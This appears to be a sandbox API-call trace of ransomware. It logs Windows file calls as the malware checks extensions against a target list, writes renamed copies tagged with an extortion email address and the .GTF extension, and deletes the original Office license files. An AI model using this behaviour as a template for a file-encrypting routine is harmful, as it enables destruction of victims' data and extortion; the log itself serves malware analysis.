	[0181.193] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.193] lstrlenW (lpString=".ppt") returned 4
	[0181.193] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.193] lstrlenW (lpString=".zip") returned 4
	[0181.193] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".rar") returned 4
	[0181.193] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".bz2") returned 4
	[0181.193] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString=".7z") returned 3
	[0181.193] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.193] lstrlenW (lpString=".dbf") returned 4
	[0181.193] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.193] lstrlenW (lpString=".1cd") returned 4
	[0181.193] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-pl.xrm-ms") returned 82
	[0181.193] lstrlenW (lpString=".jpg") returned 4
	[0181.193] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.194] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.194] lstrlenW (lpString="O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 33
	[0181.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.194] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=24369) returned 1
	[0181.194] CloseHandle (hObject=0x3d4) returned 1
	[0181.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0181.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.195] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.195] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.196] GetLastError () returned 0x0
	[0181.196] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0181.198] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0181.200] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.200] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0181.200] SetEndOfFile (hFile=0x504) returned 1
	[0181.200] CloseHandle (hObject=0x504) returned 1
	[0181.200] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.200] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.203] CloseHandle (hObject=0x3d4) returned 1
	[0181.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".doc") returned 4
	[0181.205] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".docx") returned 5
	[0181.205] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.205] lstrlenW (lpString=".pdf") returned 4
	[0181.205] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".xls") returned 4
	[0181.205] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".xlsx") returned 5
	[0181.205] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.205] lstrlenW (lpString=".ppt") returned 4
	[0181.205] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".zip") returned 4
	[0181.205] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".rar") returned 4
	[0181.205] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".bz2") returned 4
	[0181.205] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString=".7z") returned 3
	[0181.205] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".dbf") returned 4
	[0181.205] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".1cd") returned 4
	[0181.205] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".jpg") returned 4
	[0181.205] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.205] lstrlenW (lpString=".doc") returned 4
	[0181.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".docx") returned 5
	[0181.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.206] lstrlenW (lpString=".pdf") returned 4
	[0181.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".xls") returned 4
	[0181.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".xlsx") returned 5
	[0181.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.206] lstrlenW (lpString=".ppt") returned 4
	[0181.206] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.206] lstrlenW (lpString=".zip") returned 4
	[0181.206] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".rar") returned 4
	[0181.206] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".bz2") returned 4
	[0181.206] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString=".7z") returned 3
	[0181.206] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.206] lstrlenW (lpString=".dbf") returned 4
	[0181.206] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.206] lstrlenW (lpString=".1cd") returned 4
	[0181.206] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0181.206] lstrlenW (lpString=".jpg") returned 4
	[0181.206] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.206] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.206] lstrlenW (lpString="O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 36
	[0181.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.207] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11630) returned 1
	[0181.207] CloseHandle (hObject=0x3d4) returned 1
	[0181.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0181.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.208] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.208] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.208] GetLastError () returned 0x0
	[0181.208] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0181.327] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0181.328] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.328] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.328] SetEndOfFile (hFile=0x504) returned 1
	[0181.328] CloseHandle (hObject=0x504) returned 1
	[0181.328] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.328] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.331] CloseHandle (hObject=0x3d4) returned 1
	[0181.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0181.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.333] lstrlenW (lpString=".doc") returned 4
	[0181.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.333] lstrlenW (lpString=".docx") returned 5
	[0181.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.333] lstrlenW (lpString=".pdf") returned 4
	[0181.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.333] lstrlenW (lpString=".xls") returned 4
	[0181.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.333] lstrlenW (lpString=".xlsx") returned 5
	[0181.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.333] lstrlenW (lpString=".ppt") returned 4
	[0181.333] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.333] lstrlenW (lpString=".zip") returned 4
	[0181.333] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.333] lstrlenW (lpString=".rar") returned 4
	[0181.333] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".bz2") returned 4
	[0181.334] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".7z") returned 3
	[0181.334] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString=".dbf") returned 4
	[0181.334] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString=".1cd") returned 4
	[0181.334] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString=".jpg") returned 4
	[0181.334] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString=".doc") returned 4
	[0181.334] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".docx") returned 5
	[0181.334] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.334] lstrlenW (lpString=".pdf") returned 4
	[0181.334] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".xls") returned 4
	[0181.334] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".xlsx") returned 5
	[0181.334] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.334] lstrlenW (lpString=".ppt") returned 4
	[0181.334] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.334] lstrlenW (lpString=".zip") returned 4
	[0181.334] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".rar") returned 4
	[0181.334] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".bz2") returned 4
	[0181.334] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.334] lstrlenW (lpString=".7z") returned 3
	[0181.335] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.335] lstrlenW (lpString=".dbf") returned 4
	[0181.335] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.335] lstrlenW (lpString=".1cd") returned 4
	[0181.335] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ul-oob.xrm-ms") returned 86
	[0181.335] lstrlenW (lpString=".jpg") returned 4
	[0181.335] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.335] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.335] lstrlenW (lpString="O365SmallBusPremR_Grace-ppd.xrm-ms") returned 34
	[0181.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.336] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=23776) returned 1
	[0181.336] CloseHandle (hObject=0x3d4) returned 1
	[0181.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 0x220
	[0181.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.336] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.337] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.337] GetLastError () returned 0x0
	[0181.337] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x5ce0, lpOverlapped=0x0) returned 1
	[0181.346] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5cf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5cf0, lpOverlapped=0x0) returned 1
	[0181.347] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.347] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x118, lpOverlapped=0x0) returned 1
	[0181.347] SetEndOfFile (hFile=0x504) returned 1
	[0181.348] CloseHandle (hObject=0x504) returned 1
	[0181.348] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.348] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.352] CloseHandle (hObject=0x3d4) returned 1
	[0181.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 1
	[0181.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.355] lstrlenW (lpString=".doc") returned 4
	[0181.355] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.355] lstrlenW (lpString=".docx") returned 5
	[0181.355] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.355] lstrlenW (lpString=".pdf") returned 4
	[0181.355] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.355] lstrlenW (lpString=".xls") returned 4
	[0181.355] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.355] lstrlenW (lpString=".xlsx") returned 5
	[0181.355] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.355] lstrlenW (lpString=".ppt") returned 4
	[0181.355] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0181.355] lstrlenW (lpString=".zip") returned 4
	[0181.355] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".rar") returned 4
	[0181.356] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".bz2") returned 4
	[0181.356] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.356] lstrlenW (lpString=".7z") returned 3
	[0181.356] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
